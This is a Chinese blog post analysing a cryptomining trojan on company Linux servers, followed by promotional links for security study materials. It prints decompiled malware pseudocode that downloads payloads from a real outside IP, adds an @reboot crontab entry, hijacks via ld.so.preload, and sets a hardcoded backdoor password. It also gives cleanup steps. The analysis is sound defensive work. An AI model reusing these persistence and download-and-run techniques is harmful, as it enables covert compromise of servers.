一次意外的挖矿木马病毒分析及解决方案,从零基础到精通,收藏这篇就够了!

自从换了行业岗位,大概有4、5年没有去研究逆向安全方向了,本来以为会跟这个职业再无任何交集,没想到今天一次偶然的机会又让我有机会去"爽"了一把。

最近公司同事一直反馈项目上的系统很卡很卡,起初我并没有留意,毕竟不是我负责的项目。但是突然听到同事说卧槽,为什么我们CPU占用率高达99.8%,当时下意识以为可能只是程序有BUG,导致CPU爆炸,但是当我使用top准备去看哪个服务程序给干炸的时候,从输出内容来看,所有程序加在一起CPU使用率都不足20%,那么问题来了,剩下的79%的CPU是谁在搞鬼?

因为太久没接触安全方向,以为现在木马还以勒索病毒为主,但是公司数据文件并未被加密或收到勒索信息。然后打开同局域网下另外一台服务器,想重新部署下这套系统查看下问题,结果发现备用服务器在没任何系统程序的情况下CPU使用率依旧99%,突然发现此刻的问题"不简单"。

此刻我意识到了,显然服务器的已经被当成了矿机,既然有机会重操旧业,那就准备认真分析一波看看到底哪个小可爱在捣乱。

既然正常系统下top无法查看具体系统进程,那么就直接上busybox,使用busybox工具内的top来查看下具体进程。

但是也没有发现太有价值的进程存在,那么只能换个思路打开方式,既然已经知道系统里面有挖矿程序,那么系统内必然会出现开启启动任务。那就



crontab -l  




一下:



@reboot /var/log/log > /dev/null 2\>&1 & disown  




得,这不就巧了,多么明显的违规行为,伪装成log文件。

这不妥妥的木马程序,先下载下来丢到平台里面分析一波看看都有什么操作。




这里还访问了:



ld.so.preload  




这不妥妥的劫持嘛,怪不得使用常规的top无法查询到进程,本来就想到此结束。

尝试清除了启动项,但是保存在打开后,发现启动项还存在,那么显然后台还有另外的程序在一直监控修改,通过使用auditd监听发现,二号目标 /usr/bin/log 出现。

继续拷贝下载到本地,打开了尘封已经的IDA,二话不说直接强行拉进去,一顿F5疯狂输出。

结果显然喜闻乐见,死循环去执行各种小可爱操作。



while ( 1 )  
    {  
      check\_and\_start\_ssh();  
      check\_and\_run\_crontab();  
      check\_and\_move\_files();  
      ensure\_user\_exists("systemd");  
      ......  
     }  




更新用户密码::



if ( (unsigned int)password\_needs\_update("systemd", "Voidsetdownload.so") )  
{  
  printf("zhengzai gengxin mima %s...\\n", "systemd");  
  set\_password("systemd", "Voidsetdownload.so");  
}  




给木马程序文件设置immutable属性:



if ( file\_exists("/usr/local/lib/sshdD.so") && file\_exists("/usr/bin/log") && file\_exists("/var/log/log") )  
{  
  if ( (int)set\_immutable("/usr/local/lib/sshdD.so") < 0 )  
    fprintf(stderr, "cuou: wufadan bahu wejian %s\\n", "/usr/local/lib/sshdD.so");  
  ...  
}  




更新环境并执行脚本::



update\_ld\_preload();  
if ( file\_exists("/var/log/log") && !script\_ran\_4799 )  
{  
  run\_script();  
  script\_ran\_4799 = 1;  
}  




下载木马程序文件:



if ( !file\_exists("/usr/local/lib/sshdD.so") || !file\_exists("/usr/bin/log") || !file\_exists("/var/log/log") )  
{  
  puts("zhegzai chonxin xizai wejian...");  
  ensure\_files();  
}  




远程通过http://147.45.42.44/downloads/ 下载木马程序::



void ensure\_files()  
{  
  if ( !file\_exists("/usr/local/lib/sshdD.so") )  
  {  
    puts("zhengzai xiazai sshdd.so...");  
    download\_file("http://147.45.42.44/downloads/sshdD.so", "/usr/local/lib/sshdD.so");  
    set\_executable\_permissions("/usr/local/lib/sshdD.so", 0x1EDu);  
  }  
  if ( !file\_exists("/usr/bin/log") )  
  {  
    puts("zhengzai xiazai log...");  
    download\_file("http://147.45.42.44/downloads/g7c/log", "/usr/bin/log");  
    set\_executable\_permissions("/usr/bin/log", 0x1EDu);  
  }  
  if ( !file\_exists("/var/log/log") )  
  {  
    puts("zhengzai xiazai script...");  
    download\_file("http://147.45.42.44/downloads/log", "/var/log/log");  
    set\_executable\_permissions("/var/log/log", 0x1EDu);  
  }  
}  




尝试添加启动项:

    

system("crontab -r");  
    v3 = fopen("/tmp/crontab\_edit.txt", "w");  
    if ( v3 )  
    {  
      fprintf(v3, "@reboot %s > /dev/null 2>&1 & disown\\n", "/var/log/log");  
      fclose(v3);  
      system("crontab /tmp/crontab\_edit.txt");  
    }  
    else  
    {  
      perror("cuou: binji crntab shbai");  
    }  




这样整个木马程序就已经很清晰:



远程通过http://147.45.42.44/downloads/ 下载木马程序  
挖矿木马程序:/var/log/log  
持续监听木马程序:/usr/bin/log  
木马动态库:/usr/local/lib/sshdD.so  
再通过修改/etc/ld.so.preload 配置文件内容,用以加载恶意的动态链接库  




既然了解了整体的木马流程,那么就有了解决方案,先使用iptables阻止对该147.45.42.44地址的访问。



sudo iptables -A OUTPUT -d 147.45.42.44 -j DROP  
sudo iptables -L OUTPUT -v -n  




既然系统中已经预加载了病毒的动态库,那么只要使用U盘进入一个临时的系统或者使用。



sudo systemctl rescue  




进入救援模式(类似Windows的安全模式)下,先对木马程序文件修改immutable属性,然后删除文件即可。

到这一步,基本挖矿程序就已经清除结束,然后再top一下看看:

嗯效果很舒服,最后收尾的时候,顺便再把用户该删的删除,该修改的修改。

因为该系统在工作日还要继续使用,所以暂时没法去重新做系统及追查木马。如果通过漏洞进入服务器,剩下的事情就交给运维同事去处理了。

看雪ID:aimhack

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值